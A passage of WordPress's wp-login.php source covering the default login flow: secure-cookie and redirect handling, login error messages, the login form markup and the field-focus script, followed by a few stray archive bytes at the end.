int $request_id Request ID. */ do_action( 'user_request_action_confirmed', $request_id ); $message = _wp_privacy_account_request_confirmed_message( $request_id ); login_header( __( 'User action confirmed.' ), $message ); login_footer(); exit; case 'login': default: $secure_cookie = ''; $customize_login = isset( $_REQUEST['customize-login'] ); if ( $customize_login ) { wp_enqueue_script( 'customize-base' ); } // If the user wants SSL but the session is not SSL, force a secure cookie. if ( ! empty( $_POST['log'] ) && ! force_ssl_admin() ) { $user_name = sanitize_user( wp_unslash( $_POST['log'] ) ); $user = get_user_by( 'login', $user_name ); if ( ! $user && strpos( $user_name, '@' ) ) { $user = get_user_by( 'email', $user_name ); } if ( $user ) { if ( get_user_option( 'use_ssl', $user->ID ) ) { $secure_cookie = true; force_ssl_admin( true ); } } } if ( isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; // Redirect to HTTPS if user wants SSL. if ( $secure_cookie && str_contains( $redirect_to, 'wp-admin' ) ) { $redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to ); } } else { $redirect_to = admin_url(); } $reauth = empty( $_REQUEST['reauth'] ) ? false : true; $user = wp_signon( array(), $secure_cookie ); if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) { if ( headers_sent() ) { $user = new WP_Error( 'test_cookie', sprintf( /* translators: 1: Browser cookie documentation URL, 2: Support forums URL. */ __( '<strong>Error:</strong> Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/' ), __( 'https://wordpress.org/support/forums/' ) ) ); } elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) { // If cookies are disabled, the user can't log in even with a valid username and password. $user = new WP_Error( 'test_cookie', sprintf( /* translators: %s: Browser cookie documentation URL. */ __( '<strong>Error:</strong> Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/#enable-cookies-in-your-browser' ) ) ); } } $requested_redirect_to = isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the login redirect URL. * * @since 3.0.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User|WP_Error $user WP_User object if login was successful, WP_Error object otherwise. */ $redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user ); if ( ! is_wp_error( $user ) && ! $reauth ) { if ( $interim_login ) { $message = '<p class="message">' . __( 'You have logged in successfully.' ) . '</p>'; $interim_login = 'success'; login_header( '', $message ); ?> </div> <?php /** This action is documented in wp-login.php */ do_action( 'login_footer' ); if ( $customize_login ) { ob_start(); ?> <script>setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } ?> </body></html> <?php exit; } // Check if it is time to add a redirect to the admin email confirmation screen. if ( $user instanceof WP_User && $user->exists() && $user->has_cap( 'manage_options' ) ) { $admin_email_lifespan = (int) get_option( 'admin_email_lifespan' ); /* * If `0` (or anything "falsey" as it is cast to int) is returned, the user will not be redirected * to the admin email confirmation screen. */ /** This filter is documented in wp-login.php */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 && time() > $admin_email_lifespan ) { $redirect_to = add_query_arg( array( 'action' => 'confirm_admin_email', 'wp_lang' => get_user_locale( $user ), ), wp_login_url( $redirect_to ) ); } } if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) { // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile. if ( is_multisite() && ! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) { $redirect_to = user_admin_url(); } elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) { $redirect_to = get_dashboard_url( $user->ID ); } elseif ( ! $user->has_cap( 'edit_posts' ) ) { $redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url(); } wp_redirect( $redirect_to ); exit; } wp_safe_redirect( $redirect_to ); exit; } $errors = $user; // Clear errors if loggedout is set. if ( ! empty( $_GET['loggedout'] ) || $reauth ) { $errors = new WP_Error(); } if ( empty( $_POST ) && $errors->get_error_codes() === array( 'empty_username', 'empty_password' ) ) { $errors = new WP_Error( '', '' ); } if ( $interim_login ) { if ( ! $errors->has_errors() ) { $errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' ); } } else { // Some parts of this script use the main login form to display a message. if ( isset( $_GET['loggedout'] ) && $_GET['loggedout'] ) { $errors->add( 'loggedout', __( 'You are now logged out.' ), 'message' ); } elseif ( isset( $_GET['registration'] ) && 'disabled' === $_GET['registration'] ) { $errors->add( 'registerdisabled', __( '<strong>Error:</strong> User registration is currently not allowed.' ) ); } elseif ( str_contains( $redirect_to, 'about.php?updated' ) ) { $errors->add( 'updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what’s new.' ), 'message' ); } elseif ( WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED === $action ) { $errors->add( 'enter_recovery_mode', __( 'Recovery Mode Initialized. Please log in to continue.' ), 'message' ); } elseif ( isset( $_GET['redirect_to'] ) && is_string( $_GET['redirect_to'] ) && str_contains( $_GET['redirect_to'], 'wp-admin/authorize-application.php' ) ) { $query_component = wp_parse_url( $_GET['redirect_to'], PHP_URL_QUERY ); $query = array(); if ( $query_component ) { parse_str( $query_component, $query ); } if ( ! empty( $query['app_name'] ) ) { /* translators: 1: Website name, 2: Application name. */ $message = sprintf( 'Please log in to %1$s to authorize %2$s to connect to your account.', get_bloginfo( 'name', 'display' ), '<strong>' . esc_html( $query['app_name'] ) . '</strong>' ); } else { /* translators: %s: Website name. */ $message = sprintf( 'Please log in to %s to proceed with authorization.', get_bloginfo( 'name', 'display' ) ); } $errors->add( 'authorize_application', $message, 'message' ); } } /** * Filters the login page errors. * * @since 3.6.0 * * @param WP_Error $errors WP Error object. * @param string $redirect_to Redirect destination URL. */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); // Clear any stale cookies. if ( $reauth ) { wp_clear_auth_cookie(); } login_header( __( 'Log In' ), '', $errors ); if ( isset( $_POST['log'] ) ) { $user_login = ( 'incorrect_password' === $errors->get_error_code() || 'empty_password' === $errors->get_error_code() ) ? wp_unslash( $_POST['log'] ) : ''; } $rememberme = ! empty( $_POST['rememberme'] ); $aria_describedby = ''; $has_errors = $errors->has_errors(); if ( $has_errors ) { $aria_describedby = ' aria-describedby="login_error"'; } if ( $has_errors && 'message' === $errors->get_error_data() ) { $aria_describedby = ' aria-describedby="login-message"'; } wp_enqueue_script( 'user-profile' ); ?> <form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post"> <p> <label for="user_login"><?php _e( 'Username or Email Address' ); ?></label> <input type="text" name="log" id="user_login"<?php echo $aria_describedby; ?> class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" /> </p> <div class="user-pass-wrap"> <label for="user_pass"><?php _e( 'Password' ); ?></label> <div class="wp-pwd"> <input type="password" name="pwd" id="user_pass"<?php echo $aria_describedby; ?> class="input password-input" value="" size="20" autocomplete="current-password" spellcheck="false" required="required" /> <button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Show password' ); ?>"> <span class="dashicons dashicons-visibility" aria-hidden="true"></span> </button> </div> </div> <?php /** * Fires following the 'Password' field in the login form. * * @since 2.1.0 */ do_action( 'login_form' ); ?> <p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <label for="rememberme"><?php esc_html_e( 'Remember Me' ); ?></label></p> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Log In' ); ?>" /> <?php if ( $interim_login ) { ?> <input type="hidden" name="interim-login" value="1" /> <?php } else { ?> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <?php } if ( $customize_login ) { ?> <input type="hidden" name="customize-login" value="1" /> <?php } ?> <input type="hidden" name="testcookie" value="1" /> </p> </form> <?php if ( ! $interim_login ) { ?> <p id="nav"> <?php if ( get_option( 'users_can_register' ) ) { $registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'register', $registration_url ); echo esc_html( $login_link_separator ); } $html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) ); /** * Filters the link that allows the user to reset the lost password. * * @since 6.1.0 * * @param string $html_link HTML link to the lost password form. */ echo apply_filters( 'lost_password_html_link', $html_link ); ?> </p> <?php } $login_script = 'function wp_attempt_focus() {'; $login_script .= 'setTimeout( function() {'; $login_script .= 'try {'; if ( $user_login ) { $login_script .= 'd = document.getElementById( "user_pass" ); d.value = "";'; } else { $login_script .= 'd = document.getElementById( "user_login" );'; if ( $errors->get_error_code() === 'invalid_username' ) { $login_script .= 'd.value = "";'; } } $login_script .= 'd.focus(); d.select();'; $login_script .= '} catch( er ) {}'; $login_script .= '}, 200);'; $login_script .= "}\n"; // End of wp_attempt_focus(). /** * Filters whether to print the call to `wp_attempt_focus()` on the login screen. * * @since 4.8.0 * * @param bool $print Whether to print the function call. Default true. */ if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) { $login_script .= "wp_attempt_focus();\n"; } // Run `wpOnload()` if defined. $login_script .= "if ( typeof wpOnload === 'function' ) { wpOnload() }"; wp_print_inline_script_tag( $login_script ); if ( $interim_login ) { ob_start(); ?> <script> ( function() { try { var i, links = document.getElementsByTagName( 'a' ); for ( i in links ) { if ( links[i].href ) { links[i].target = '_blank'; } } } catch( er ) {} }()); </script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } login_footer(); break; } // End action switch. PK Ig*[#WR"